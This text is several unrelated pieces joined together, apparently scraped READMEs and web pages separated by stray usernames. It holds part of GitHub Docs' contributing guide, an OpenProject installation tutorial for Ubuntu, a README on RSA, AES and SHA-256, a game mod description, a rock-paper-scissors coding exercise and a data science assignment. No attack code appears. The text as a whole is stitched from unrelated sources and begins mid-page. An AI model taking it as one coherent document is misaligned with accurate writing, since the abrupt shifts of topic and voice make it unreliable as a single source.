[:hammer_and_wrench: Pull requests](#hammer_and_wrench-pull-requests) - [:question: Support](#question-support) - [:earth_asia: Translations](#earth_asia-translations) - [:balance_scale: Site Policy](#balance_scale-site-policy) - [Starting with an issue](#starting-with-an-issue) - [Labels](#labels) - [Opening a pull request](#opening-a-pull-request) - [Working in the github/docs repository](#working-in-the-githubdocs-repository) - [Reviewing](#reviewing) - [Self review](#self-review) - [Pull request template](#pull-request-template) - [Suggested changes](#suggested-changes) - [Windows](#windows) ## Types of contributions :memo: You can contribute to the GitHub Docs content and site in several ways. This repo is a place to discuss and collaborate on docs.github.com! Our small, but mighty :muscle: docs team is maintaining this repo, to preserve our bandwidth, off topic conversations will be closed. ### :mega: Discussions Discussions are where we have conversations. If you'd like help troubleshooting a docs PR you're working on, have a great new idea, or want to share something amazing you've learned in our docs, join us in [discussions](https://github.com/github/docs/discussions). ### :beetle: Issues [Issues](https://docs.github.com/en/github/managing-your-work-on-github/about-issues) are used to track tasks that contributors can help with. If an issue has a triage label, we haven't reviewed it yet and you shouldn't begin work on it. If you've found something in the content or the website that should be updated, search open issues to see if someone else has reported the same thing. If it's something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### :hammer_and_wrench: Pull requests A [pull request](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-requests) is a way to suggest changes in our repository. When we merge those changes, they should be deployed to the live site within 24 hours. :earth_africa: To learn more about opening a pull request in this repo, see [Opening a pull request](#opening-a-pull-request) below. ### :question: Support We are a small team working hard to keep up with the documentation demands of a continuously changing product. Unfortunately, we just can't help with support questions in this repository. If you are experiencing a problem with GitHub, unrelated to our documentation, please [contact GitHub Support directly](https://support.github.com/contact). Any issues, discussions, or pull requests opened here requesting support will be given information about how to contact GitHub Support, then closed and locked. If you're having trouble with your GitHub account, contact [Support](https://support.github.com/contact). ### :earth_asia: Translations This website is internationalized and available in multiple languages. The source content in this repository is written in English. We integrate with an external localization platform called [Crowdin](https://crowdin.com) and work with professional translators to localize the English content. **We do not currently accept contributions for translated content**, but we hope to in the future. ### :balance_scale: Site Policy GitHub's site policies are published on docs.github.com, too! If you find a typo in the site policy section, you can open a pull request to fix it. For anything else, see [the CONTRIBUTING guide in the site-policy repo](https://github.com/github/site-policy/blob/main/CONTRIBUTING.md). ## Starting with an issue You can browse existing issues to find something that needs help! ### Labels Labels can help you find an issue you'd like to help with. - The [`help wanted` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) is for problems or updates that anyone in the community can start working on. - The [`good first issue` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) is for problems or updates we think are ideal for beginners. - The [`content` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Acontent) is for problems or updates in the content on docs.github.com. These will usually require some knowledge of Markdown. - The [`engineering` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Aengineering) is for problems or updates in the docs.github.com website. These will usually require some knowledge of JavaScript/Node.js or YAML to fix. ## Opening a pull request You can use the GitHub user interface :pencil2: for some small changes, like fixing a typo or updating a readme. You can also fork the repo and then clone it locally, to view changes and run your tests on your machine. ## Working in the github/docs repository Here's some information that might be helpful while working on a Docs PR: - [Development](/contributing/development.md) - This short guide describes how to get this app running on your local machine. - [Content markup reference](/contributing/content-markup-reference.md) - All of our content is written in GitHub-flavored Markdown, with some additional enhancements. - [Content style guide for GitHub Docs](/contributing/content-style-guide.md) - This guide covers GitHub-specific information about how we style our content and images. It also links to the resources we use for general style guidelines. - [Reusables](/data/reusables/README.md) - We use reusables to help us keep content up to date. Instead of writing the same long string of information in several articles, we create a reusable, then call it from the individual articles. - [Variables](/data/variables/README.md) - We use variables the same way we use reusables. Variables are for short strings of reusable text. - [Liquid](/contributing/liquid-helpers.md) - We use liquid helpers to create different versions of our content. - [Scripts](/script/README.md) - The scripts directory is the home for all of the scripts you can run locally. - [Tests](/tests/README.md) - We use tests to ensure content will render correctly on the site. Tests run automatically in your PR, and sometimes it's also helpful to run them locally. ## Reviewing We (usually the docs team, but sometimes GitHub product managers, engineers, or supportocats too!) review every single PR. The purpose of reviews is to create the best content we can for people who use GitHub. :yellow_heart: Reviews are always respectful, acknowledging that everyone did the best possible job with the knowledge they had at the time. :yellow_heart: Reviews discuss content, not the person who created it. :yellow_heart: Reviews are constructive and start conversation around feedback. ### Self review You should always review your own PR first. For content changes, make sure that you: - [ ] Confirm that the changes address every part of the content strategy plan from your issue (if there are differences, explain them). - [ ] Review the content for technical accuracy. - [ ] Review the entire pull request using the [localization checklist](contributing/localization-checklist.md). - [ ] Copy-edit the changes for grammar, spelling, and adherence to the style guide. - [ ] Check new or updated Liquid statements to confirm that versioning is correct. - [ ] Check that all of your changes render correctly in staging. Remember, that lists and tables can be tricky. - [ ] If there are any failing checks in your PR, troubleshoot them until they're all passing. ### Pull request template When you open a pull request, you must fill out the "Ready for review" template before we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request. ### Suggested changes We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch. As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations). ## Windows This site can be developed on Windows, however a few potential gotchas need to be kept in mind: 1. Regular Expressions: Windows uses `\r\n` for line endings, while Unix based systems use `\n`. Therefore when working on Regular Expressions, use `\r?\n` instead of `\n` in order to support both environments. The Node.js [`os.EOL`](https://nodejs.org/api/os.html#os_os_eol) property can be used to get an OS-specific end-of-line marker. 1. Paths: Windows systems use `\` for the path separator, which would be returned by `path.join` and others. You could use `path.posix`, `path.posix.join` etc and the [slash](https://ghub.io/slash) module, if you need forward slashes - like for constructing URLs - or ensure your code works with either. 1. Bash: Not every Windows developer has a terminal that fully supports Bash, so it's generally preferred to write [scripts](/script) in JavaScript instead of Bash.
Opensource for universities, educational institutions, research, IT / technology companies, NGOs, administrations, foundations, public institutions, authorities, banks and insurance companies, and the automotive industry. The platform offers project planning and visualization, application management, release planning, product management, team collaboration, task management, bug tracking, and budget planning. With this open-source solution, the users can record all processes in one central location, create product roadmaps, record all processes in one central location; create project templates; use widgets to visualize project status and progress; create detailed release planning, share the information with team and collect feedback from customers and employees. Apart from this Gantt charts/timeline management; custom fields for work packages; meetings management; scrum (backlogs and task board); calendar, time tracking, cost reporting, budgeting, bug tracking, wiki; twp-factor authentication, and more are some other features community edition offers. In Premium functions, OpenProject includes agile boards, logo and color schemes, your own design and logo, user-defined fields, single sign-on, individual help texts, highlighting of attributes, and more. One can get a complete function comparison amidst three versions, on the official page of this project. Contents [show] Steps to install OpenProject in Ubuntu 20.04 LTS Linux server 1. Add PGP Key The packages to install OpenProject are not available directly using the base repository of Ubuntu 20.04, hence we have to add a repository provided by the developers of this software platform. Well, but the system always needs to ensure that the packages it is getting are authentic and coming only from the source of repository added for it. And for that, we need to add the PGP key used to sign the OpenProject packages. Copy Me wget -qO- https://dl.packager.io/srv/opf/openproject/key | sudo apt-key add - GPG key for OpenProject 2. Integrate OpenProject repository in Ubuntu 20.04 As I mentioned above that we need to add manually a repository to get the OpenProject packages for installation, therefore, for that run the following given command: Copy-Past whole block of given command: Copy Me sudo wget -O /etc/apt/sources.list.d/openproject.list https://dl.packager.io/srv/opf/openproject/stable/12/installer/ubuntu/20.04.repo Add openproject repository on Ubuntu 20.04 3. Run system update To let the system know we have added a new repository to get a third-party application, run once the system update command: Copy Me sudo apt update 4. Command to install OpenProject in Ubuntu 20.04 LTS Finally, all the key things we require to get the OpenProject have been set, it’s time to use the APT package manager to start the installation process. Copy Me sudo apt install openproject sudo apt install openproject ubuntu 20.04 linux server 5. Start configuring OpenProject Well, the installation has been completed but yet has to be configured to get its web interface up and running. To start the further configuration run the given command: Copy Me sudo openproject configure Select Default OpenProject Users from the Construction field can go for the BIM one. default openproject BIM 6. Configure PostgreSQL To store its data we need a database server, here the OpenProject offers you an option to automatically install “Postgres“, however, if you already have an installed Postgres somewhere or on the same server then you can go for “Use an existing PostgreSQL database” option. However, here we are going for “Install a new PostgreSQL server and database locally“. Select it, Okay, and then hit the Enter key. PostgreSQL Auto Install for OpenProject 7. Install Apache Webserver Next, we need a webserver to serve web pages of OpenProject over a network. Hence, the installation wizard will let you install the Apache webserver if it is not already. install apache2 server Set Fully Qualified domain To access the OpenProject using FQDN, mention the same here. For example, here we are using demo.how2shout.com. You can use whatever you have. Alternatively, if you want to access it using a server IP address then mention that instead of a domain name. set fully qualified domain for OpenProject on Ubuntu Server Path (optional) This is optional. If you want to access your OpenProject web interface under some folder then you can mention it here. For example, let say you already have some website running on your server and to access it you are using your root domain then we cannot use the same domain to access another web platform. Therefore, to solve we can install another website under a subfolder. And the name of that subfolder you can mention here. server path prefix 8. Server SSL Those who already have SSL for the domain they want to use with OpenProject, do not need to install a new SSL certificate, even the ones who are using either Let’s Encrypt or Cloudflare. However, if you don’t have any existing SSL certificate then of course go for the Yes option otherwise NO. Server SSL for Project management Application 9. Install Subversion Just select the “Install Subversion repository support”. Subversion support Again hit the Enter key to set the default path and then install Git repository support, if you want. 10. STMP for Sending Emails Users who want to send emails to others from the web interface of OpenProject need to configure either SendMail or SMTP. We recommend using SMTP to route mail through your mail servers. Select it and configure the same. Or else just SKIP who don’t require emails service, right now. Next, select to install Memcache server for better cache performance or just skip if you don’t need it. Install a new memcached server Wait for a few minutes and the OpenProject open source project management will be on your server. 11. Access OpenProject Web interface Once the installation is completed, it’s time to access the Web interface of OpenProject to start managing our project through it. So, open any web browser on your local system that can access the server IP address where OpenProject is installed. In the URL either type the server IP address or Fully Qualified domain name associated with it. http://server-ip-address or http://your-domain.com If you have installed the OpenProject not in the root directory and with some server suffix or in simple words mentioned the folder name you have assigned during the installation of this project management platform. example: http://server-ip-address/your-sub-folder or http://your-domain.com/your-sub-foler Note: Replace- your-domain. com with the Domain you have added to use with OpenProject while configuring it. Whereas the sub-folder is the Server path suffix if you have mentioned while setting it up. Dashboard of project management Linux 12. Sign-in or Login OpenProject backend Now, let’s log in to the backend. The default username is admin and the password is also admin. Login openProject Backend Admin Change the default Admin password to something strong. Change Admin User 13. Admin Dashboard Finally, you have successfully installed the OpenProject on your Ubuntu 20.04 LTS Linux. Now you can start going through its learning curves to efficiently manage your projects. For more information once can visit its documentation page. OpenProject Installed in Ubuntu 20.04 Linux 14. Video Tutorial Video Player 00:00 14:15 Other Articles: • Top 3 Command Line Ubuntu Package Manager tools • How to install Gparted on Ubuntu 20.04 LTS • How to install Bitwarden server on Ubuntu 20.04 • Install VNC Server on Ubuntu 20.04 | 18.04 RELATED POSTS DaloRADIUS and FreeRADIUS install on Ubuntu 20.04 serverHeyan Maurya UBUNTUInstall FreeRadius & web GUI daloRADIUS on Ubuntu 20.04 serverSet Default Kernel Version of UbuntuHeyan Maurya UBUNTUHow to change default kernel in Ubuntu 22.04 | 20.04 LTSWSL Ubuntu 22.04 LTS Jammy Jelly FIshHeyan Maurya UBUNTUHow to Upgrade WSL 2 or 1 Ubuntu 20.04 to 22.04 LTSGoogle Drive in Ubuntu 20.04 LTSHeyan Maurya UBUNTU4153 VIEWSHow to Setup and use Google Drive on Ubuntu 20.04 LEAVE A REPLY Comment Text* Name* Email* Website Save my name, email, and website in this browser for the next time I comment. This site uses Akismet to reduce spam. Learn how your comment data is processed.
suryanshagarwal599
Crypto-flask Crypto flask is a web implementation of hybrid cryptography using RSA , AES and SHA-256. RSA Algorithm in Cryptography RSA algorithm is asymmetric cryptography algorithm. Asymmetric actually means that it works on two different keys i.e. Public Key and Private Key. As the name describes that the Public Key is given to everyone and Private key is kept private. An example of asymmetric cryptography : A client (for example browser) sends its public key to the server and requests for some data. The server encrypts the data using client’s public key and sends the encrypted data. Client receives this data and decrypts it. Since this is asymmetric, nobody else except browser can decrypt the data even if a third party has public key of browser. The idea! The idea of RSA is based on the fact that it is difficult to factorize a large integer. The public key consists of two numbers where one number is multiplication of two large prime numbers. And private key is also derived from the same two prime numbers. So if somebody can factorize the large number, the private key is compromised. Therefore encryption strength totally lies on the key size and if we double or triple the key size, the strength of encryption increases exponentially. RSA keys can be typically 1024 or 2048 bits long, but experts believe that 1024 bit keys could be broken in the near future. But till now it seems to be an infeasible task. AES AES is an iterative rather than Feistel cipher. It is based on ‘substitution–permutation network’. It comprises of a series of linked operations, some of which involve replacing inputs by specific outputs (substitutions) and others involve shuffling bits around (permutations). Interestingly, AES performs all its computations on bytes rather than bits. Hence, AES treats the 128 bits of a plaintext block as 16 bytes. These 16 bytes are arranged in four columns and four rows for processing as a matrix − Unlike DES, the number of rounds in AES is variable and depends on the length of the key. AES uses 10 rounds for 128-bit keys, 12 rounds for 192-bit keys and 14 rounds for 256-bit keys. Each of these rounds uses a different 128-bit round key, which is calculated from the original AES key. SHA-256 SHA-256 stands for Secure Hash Algorithm – 256 bit and is a type of hash function commonly used in Blockchain. A hash function is a type of mathematical function which turns data into a fingerprint of that data called a hash. It’s like a formula or algorithm which takes the input data and turns it into an output of a fixed length, which represents the fingerprint of the data. The input data can literally be any data, whether it’s the entire Encyclopedia Britannica, or just the number ‘1’. A hash function will give the same hash for the same input always no matter when, where and how you run the algorithm. Equally interestingly, if even one character in the input text or data is changed, the output hash will change. Also, a hash function is a one-way function, thus it is impossible to generate back the input data from its hash. So, you can go from the input data to the hash but not from the hash to the input data. Requirements : Python 2.7 Flask How to run : python app.py Copy the url from console and run on browser.
2389736818
Zombie Outline Version: 1.0 Description: This mod is based on the old Zombie Horde mod, but with many more features. The ZH mod gives you a nice co-op environment for annihilating the mass of zombies, while this mod offers you a "smooth story", which is actually a month (31 days) of disaster which combine soldiers have to face. Aside from that, zombies yield experience, so allowing you to level up and increase your health, armor, speed, jump rate and evasion rate. There is a moderate number of different types of zombies, each of them having different stats and giving a different amount of experience when taken down. Every day it is harder and harder for the combine to complete their task as the number of zombies is increasing as well as their strength. The type of the day can either be demolition, survival or epidemic. When soldiers are caught in a demolition day, their taks is to annihilate a certain amount of zombies to complete it. There is no time limit for this. In the survival days, if they stay alive a certain amount of time (without all being dead at the same time), they will proceed to the next day. Epidemic days are similar to demolition days, only then you do not want to get hit by a zombie, as the virus that is spread in the air will hurt you through the wound more than you think it will. Ocasionally (in certain days), combine soldiers have to face motherzombies. In the demolition and epidemic days, they will come right after the number of regular zombies reaches zero, while in survival days they will come at the very beginning, but not required to slay them. This mod works in any way, with only bots on the human side and/or with real players. Terrorist team only contains bots as zombies. I personally haven't tested it with multiple players being on CT side at the same time, but it works quite well while I play it with bots. For a better glimpse on this mod, check this video. Zombie Outline Commands: /zomenu - Open up the mod menu. /spawn - Spawn if you haven't, but still it is early game. /return - Don't move for 20 seconds (or so) and return to spawn point. /info - Check your information, like level, experience, etc... /zhp - Show zombie health. /zoadmin - Admin menu for this mod. /fspawn <name> - Admin command that forces a player to spawn. /freturn <name> - Admin command that forces a player to return to spawn. /zoday <value> - Admin command to set next day (must be <= 31 and > 0). /zoendday <ct/t> - Admin command to immediately end the day (argument <ct/t> = winner) /zombies <value> - Admin command to set how many zombies are left. /zoaddexp <name> <amount> - Admin command to give a player experience. /zoaddlvl <name> <amount> - Admin command to give a player level. /zoexpboost <value> - Admin command to set the experience boost. Addon Commands: /weapons - Opets up the weapons menu. [weaponsmenu addon] /ambientson - Turns ambients (background music) on. [ambients addon] /ambientsoff - Turns ambients off. [ambients addon] /quakeon - Turns quake sounds on. [ambients addon] /quakeoff - Turns quake sounds off. [ambients addon] /spree - Check your killing/headshot spree. [ambients addon] /ambients <1/0> - Admin command to toggle ambients across whole server. [ambients addon] /quake <1/0> - Admin command to toggle quake sounds across whole server. [ambients addon] /mapstyle - Admin command to open up the mapstyle menu. [mapstyle addon] Installation: Simply download "Zombie Outline v1.0.zip" and extract it to your game directory. You will need to download all zombie models and other materials from here. Once downloaded, simply extract it to your game directory. I have uploaded few more addons. They are not necessary to have, but they improve the game experience and kinda add few more dimensions to the mod. If you want them, simply download and extract the "cstrike" folder from each addon (zip) to your game directory. Addon descriptions: Serverconfigs are in my opinion very useful, as they fix precaching models in case the Zombie Outline doesn't. Also with it, you can do few more configurations such as setting cvars and execing some cfgs on map start (for example) which automates Zombie Outline preperation. Mapstyle is optional. Adds darkness (customizable) to the map and also the ability to change the sky. For this addon, you will have to download skyboxes, and extract them to your game directory. Ambients sure give good background music (from Half-Life). Quake sounds also included. Another optional, but use it (as well as the mapstyle!). ;) Weaponsmenu, optional. Nothing too special, as the name is selfexplainig. In Zombie Outline, the Blackmarket Shop, which is meant for buying weapons (I think), still isn't working as I am not sure how would I want it to be created. So think of weaponsmenu as a temporary replacement. If you want to be hardcore in game, don't use it ;) Before you start commenting why haven't I put these as seperate plugins in new threads, well, there ARE DEFINITELY better plugins you can find that do the same thing, I have made these only for one sole purpose, and it is for improving Zombie Outline. So, I don't see the point of putting them there. Configuration: Configuring Zombie Outline goes from "cfg/sourcemod/zo" folder. You actually edit .txt files, not .cfg files! But, if you have just installed the mod, you won't have the .txt files. To generate them, you will have to run the mod once on your server, and after that, close the server and get back. Download the "cfg example for v1.0.zip" for more details. Serverconfigs can be configured from "cfg/sourcemod/serverconfigs.cfg" file. There is almost no need for configuring it. But if you really want to, check the file and uhm... good luck (made this addon for some other reasons, but later found it useful here a bit). Mapstyle can be configured from "cfg/sourcemod/mapstyle.txt" and "cfg/sourcemod/mapstyle.cfg". Ambients can be configured from "cfg/sourcemod/ambients.txt". Weaponsmenu can be configured from "cfg/sourcemod/weaponsmenu.cfg". How to play: In order to be able to play, you must create yourself a "workspace" (basically sign yourself in the mod database, so your progress can be saved and similar). Nothing too chumpy, all you have to do is in the mod menu (default "/zomenu"), select the "Configuration" option and you will see "Create Workspace". Select it and you are ready to go! There are plenty of reasons why I didn't automate this. Debugging is the first and most important, but it is a long and boring story, so I will skip it. Known glitches: Sometimes "/spawn" command won't let you spawn, even though you are sure you can. Just use that command few more times, or wait few seconds and then use it, and it should work. It is not a glitch, but there are 2 more commands: client "/debug" and admin "/allowdebug <name>". There is no point of using them (so far), just wanned to let you know that they exist too. If you have any questions, problems or anything else, leave a reply here or a comment on the youtube video.
ankita30
In this project, we'll build Rock-Paper-Scissors! The program should do the following: Prompt the user to select either Rock, Paper, or Scissors Instruct the computer to randomly select either Rock, Paper, or Scissors Compare the user's choice and the computer's choice Determine a winner (the user or the computer) Inform the user who the winner is Let's begin! Tasks 29/29Complete Mark the tasks as complete by checking them off Rock, Paper, Scissors 1. As in previous projects, it's helpful to let other developers know what your program does. Begin by including a multi-line comment that starts on line 1 that describes what your program will do. You can use the instructions above to help you write the comment. Stuck? Get a hint 2. This game will also require Python code that isn't built-in or readily available to us. Since the program will select Rock, Paper, or Scissors, we need to make sure the computer randomly selects one option. Use a function import to import randint from the random module. Stuck? Get a hint 3. On the next line, use a function import to import sleep from the time module. Stuck? Get a hint 4. Great! We've imported the code we'll need. We won't use it right now, but we will need it later, so let's move on. In this game, we know there are a few things that are constant (things that will not change). For example, the options (Rock, Paper, or Scissors) will remain constant, so we can add those options and store them in a variable. On the next line, create a list called options and store "R", "P", and "S" in the list (as strings). Abbreviating the options will come in handy later. Stuck? Get a hint 5. The user will always either win or lose, so the corresponding win/lose messages that we print to the user will also remain constant. On the next line, create a variable and set it equal to "You lost!", or another message of your choice that indicates the user lost. Note: Want to code like a professional? Variables that store constant information should be typed in snake case and should be entirely uppercase, as indicated in the Python style guide. Stuck? Get a hint 6. On the next line, create a variable and set it equal to a winning message, similar to what you did in Step 5. Stuck? Get a hint 7. Since the user must select an option and the computer must also select an option, we need a way to decide who the winner is. Add a function called decide_winner. The function should take two parameters: user_choice and computer_choice. Stuck? Get a hint 8. Great! Let's start building the decide_winner function. First, use string formatting to print to the user's choice. Since the user's choice is already a parameter of the function, you can use the same parameter when using string formatting. On the next line, print Computer selecting... and then have the program sleep for 1 second. Stuck? Get a hint 9. On the next line, use string formatting to print the computer's choice, similar to what you did in Step 8. Stuck? Get a hint 10. How will we compare the user's selection to the computer's selection? Thankfully, we stored the options (Rock, Paper, and Scissors) in a list that will remain constant. Since items in a list all have an index, we can simplify how the comparison should take place: we will compare the index of the user's choice and the index of the computer's choice. 11. Now we have to figure out how will we determine the index of the user's choice. Lucky for us, lists have a built-in function called index(). Given an item that belongs to a list, the index() function will return the index of that item. Read more about how index() works here. On the next line, create a variable called user_choice_index. Set the variable equal to the result of calling the index() function on the options list. The index() function should take user_choice as an argument. Stuck? Get a hint 12. On the next line, create a variable to store the index of the computer's choice. Set it equal to calling the index() function on the options list. The function should take the computer's choice as an argument. Stuck? Get a hint 13. Perfect! You just completed the most challenging part of the project. Now it's time to code the rules that will determine the winner. Start by adding an if statement that checks if the user's choice is equal to the computer's choice. Stuck? Get a hint 14. What happens when both players pick the same option? It's a tie! Inside the if statement, print a message to the user informing them of the tie. Stuck? Get a hint 15. Now it's time to think of the scenarios in which players win or lose. Wait a minute...there are many different scenarios, and they're going to take a long time to code. Part of being a professional programmer is figuring out fast and efficient ways of solving problems, like this one. 16. Let's approach this problem with a glass half full mentality: we'll print only the scenarios in which the user wins, otherwise the user will have lost. What are the scenarios in which the user wins? User: Rock, Computer: Scissors User: Paper, Computer: Rock User: Scissors, Computer: Paper Each option has a constant index in the options list, and we can use that to our advantage. Add an elif statement that checks if the user selects "Rock" and the computer selects "Scissors." Inside the statement, print the win message. Stuck? Get a hint 17. Perfect! But that takes care of only one scenario where the user wins. Add two more elif statements that print the win message when the user wins. You can use the scenarios from Step 16 to help you. Stuck? Get a hint 18. What if the user's choice has an index greater than 2? That's garbage! Add one more elif statement that checks for this condition. Inside of the elif block, print a message to the user that indicates that an invalid option was selected. On the next line, use return to exit the block. Stuck? Get a hint 19. Finally, we've taken care of all of the cases where the user could win. But what if none of these conditions are met? Remember from Step 16 that the user would lose. Add an else block and print the loss message inside of it. Stuck? Get a hint 20. Great! We have the function that will decide who the winner is between the user and the computer, but we haven't written a function that actually starts the game. Let's do that now. Create a new function called play_RPS. Stuck? Get a hint 21. On the next line and within the function, print the name of the game to the user. Stuck? Get a hint 22. On the next line, we'll have to prompt the user for their selection. Store their selection in a variable called user_choice. To make it simpler, we should ask them to input as few characters as possible for their selection. Prompt them with the message: Select R for Rock, P for Paper, or S for Scissors: Then, on the next line, sleep the program for 1 second. Stuck? Get a hint 23. Convert the user's choice to uppercase. This will match the format used in the options list we created earlier. Stuck? Get a hint 24. The computer has to play too! Remember, the computer's choice has to be random, so we'll make use of randint to accomplish that. On the next line, create a variable called computer_choice. Set the variable equal to a random element of the options list using randint and the list indices. Remember, this is how the randint function works. Stuck? Get a hint 25. Actually, in the last step, we hard coded the random possibilities of the options list, but what if there were more possible options in the list? It wouldn't be efficient to always have to open up the file just to change the indices in the one line of code you just wrote. 26. First, delete the line of code you wrote in the Step 24. Create a variable called computer_choice. As in the last step, set it equal to a random element of the options list using randint. However, instead of using 0 and 2 in the randint function, use 0 as the first integer, and use len(options)-1 as the second integer. This will ensure that if we ever add more options to the game, we won't have to change this line of code. (Of course, there might be more rules.) Stuck? Get a hint 27. Great! The user has now submitted their choice and the computer has also made a random choice. It's time to determine a winner. Thankfully, we already wrote a function that can do that. On the next line, call the decide_winner function. Pass in user_choice as the first argument and computer_choice as the second argument. Stuck? Get a hint 28. Our program won't run unless we call the correct function! On the next line, call the play_RPS() function. Make sure it's outside of any other function. Stuck? Get a hint 29. You worked really hard to create this game. Now it's time to sit back and be amazed at how far you've come! First, click Save. Then, in the terminal, type the following command and press "Enter" on your keyboard: python RPS.py Did you win? If not, try until you do! Feel free to add more functionality to your game. Happy coding! Report a Bug If you see a bug or any other issue with this page, please report it here. Tasks
Principles of Data Science Part I. Fivethirtyeight data graphics An R package that provides access to the code and data sets published by FiveThirtyEight https://github.com/fivethirtyeight/data, was just made available to public. The developers, Albert Kim and his colleagues, maintains a webpage for the package fivethirtyeight: https://rudeboybert.github.io/fivethirtyeight/ The data sets included are massive. You can find a list of these, including the URLs to the original fivethirtyeight.com articles, at https://rudeboybert.github.io/fivethirtyeight/articles/fivethirtyeight.html. The task (Part I) is to choose one of the articles with data graphics, and recreate one or more of the data graphics found in the article. Examples of such report can be found at https://rudeboybert.github.io/fivethirtyeight/articles/ The report will consist of 1. A technical discussion of your data wrangling-visualization statements; 2. A brief paragraph explaining the context of the data graphic you created, and be prepared by R markdown. Part II. Retreive, explore, and analyze This part of the task is to retreive, explore, and analyze data in one of the topic areas. You will need to choose one from American Time Use Survey Data and Economic Mobility data (see below). Scope of the work The final product will consist of 1. visualization or tabulation of the data (from either exploring or modeling), 2. results of statistic tests for your hypothesis, 3. and modeling and predictions from statistical learning methods. report The report consists of 1. Proposed goals in your progress report, 2. Analysis (both code chunks and results), 3. Interpretation, 1. Economic Mobility data We will look at economic mobility across generations in the contemporary USA. The data come from a large study1, based on tax records, which allowed researchers to link the income of adults to the income of their parents several decades previously. For privacy reasons, we don’t have that individual-level data, but we do have aggregate statistics about economic mobility for several hundred communities, containing most of the American population, and covariate information about those communities. We are interested in predicting economic mobility from the characteristics of communities. Data can be read using the following R code. There are 741 communities (observations) and 43 variables. dat <- read.csv("mobility.csv") The variable we want to predict is economic mobility; the rest are predictor variables or covariates. 1. Mobility: The probability that a child born in 1980–1982 into the lowest quintile (20%) of household income will be in the top quintile at age 30. Individuals are assigned to the community they grew up in, not the one they were in as adults. (가계 소득의 최저 5 분위수 (20 %)에 속해 있는 1980-1982 년 출생한 아이가 30세에 되었을 때 상위 1 분위에 속할 확률) 2. Population in 2000. (2000년 기준 인구) 3. Is the community primarily urban or rural? (커뮤니티가 도시인가 시골인가?) 4. Black: percentage of individuals who marked black (and nothing else) on census forms. (흑인의 비율) 5. Racial segregation: a measure of residential segregation by race. (인종별 주거지 분리의 정도) 6. Income segregation: Similarly but for income. (소득별 주거지 분리의 정도) 7. Segregation of poverty: Specifically a measure of residential segregation for those in the bottom quarter of the national income distribution. (저소득층과 중상류층의 주거지 분리의 정도) 8. Segregation of affluence: Residential segregation for those in the top qarter. (상류층과 중하층의 주거지 분리의 정도) 9. Commute: Fraction of workers with a commute of less than 15 minutes. (15 분 미만 통근하는 주민의 비율) 10. Mean income: Average income per capita in 2000. (평균 소득 ) 11. Gini: A measure of income inequality, which would be 0 if all incomes were perfectly equal, and tends towards 100 as all the income is concentrated among the richest individuals. ( 지니 계수) 12. Share 1%: Share of the total income of a community going to its richest 1%. (상위 1% 가 차지하는 수입의 비율) 13. Gini bottom 99%: Gini coefficient among the lower 99% of that community. (상위 1 %를 제외한 나머지의 지니 계수) 14. Fraction middle class: Fraction of parents whose income is between the national 25th and 75th percentiles. ( 중산층 비율 ) 15. Local tax rate: Fraction of all income going to local taxes. ( 지방세율 ) 16. Local government spending: per capita. ( 1 인당 지방정부 지출 ) 17. Progressivity: Measure of how much state income tax rates increase with income. ( 세금 가중의 정도 ) 18. EITC: Measure of how much the state contributed to the Earned Income Tax Credit (a sort of negative income tax for very low-paid wage earners). ( 저소득층을 위한 세금 공제의 정도 ) 19. School expenditures: Average spending per pupil in public schools. ( 공립학교의 학생 1 인당 평균 지출. ) 20. Student/teacher ratio: Number of students in public schools divided by number of teachers.( 학생 / 교사 비율 ) 21. Test scores: Residuals from a linear regression of mean math and English test scores on household income per capita. ( 시험 점수: 언어+수학 점수를 평균 가정 소득에 회귀한 잔차 ) 22. High school dropout rate: Also, residuals from a linear regression of the dropout rate on per-capita income. ( 고등학교 중퇴율 : 실제 중퇴율를 평균 가정 소득에 회귀한 잔차 ) 23. Colleges per capita ( 1 인당 대학의 갯수 ) 24. College tuition: in-state, for full-time students ( 대학 등록금 ) 25. College graduation rate: Again, residuals from a linear regression of the actual graduation rate on household income per capita. ( 대학 졸업율: 실제 졸업율를 평균 가정 소득에 회귀한 잔차 ) 26. Labor force participation: Fraction of adults in the workforce. ( 노동인구 중 성인의 비율 ) 27. Manufacturing: Fraction of workers in manufacturing. ( 제조업 근로자의 비율 ) 28. Chinese imports: Growth rate in imports from China per worker between 1990 and 2000. ( 중국산 수입 증가율 ) 29. Teenage labor: fraction of those age 14–16 who were in the labor force. ( 노동인구 중 10 대의 비율 ) 30. Migration in: Migration into the community from elsewhere, as a fraction of 2000 population. ( 이사오는 비율 ) 31. Migration out: Ditto for migration into other communities. ( 이사 나가는 비율 ) 32. Foreign: fraction of residents born outside the US. ( 외국 태생 인구 비율 ) 33. Social capital: Index combining voter turnout, participation in the census, and participation in community organizations. ( 사회 참여의 정도 ) 34. Religious: Share of the population claiming to belong to an organized religious body. ( 종교 생활 참여의 정도 ) 35. Violent crime: Arrests per person per year for violent crimes. ( 폭력 범죄율 ) 36. Single motherhood: Number of single female households with children divided by the total number of households with children. ( 전체 아이가 있는 가정 중 엄마 혼자 아이 키우는 집의 비율 ) 37. Divorced: Fraction of adults who are divorced. (이혼한 비율 ) 38. Married: Ditto. ( 결혼한 비율 ) 39. Longitude: Geographic coordinate for the center of the community (경도: 동서 ) 40. Latitude: Ditto ( 위도: 남북 ) 41. ID: A numerical code, identifying the community. ( 커뮤니티 식별 코드 ) 42. Name: the name of principal city or town. ( 동네 이름 ) 43. State: the state of the principal city or town of the community. ( 동네가 속한 미국의 주) 1. Chetty, Raj, Nathaniel Hendren, Patrick Kline and Emmanuel Saez (2014). “Where is the Land of Opportunity? The Geography of Intergenerational Mobility in the United States.” Quarterly Journal of Economics, 129: 1553– 1623. Finding and reading this paper does not actually help you↩
yukubo
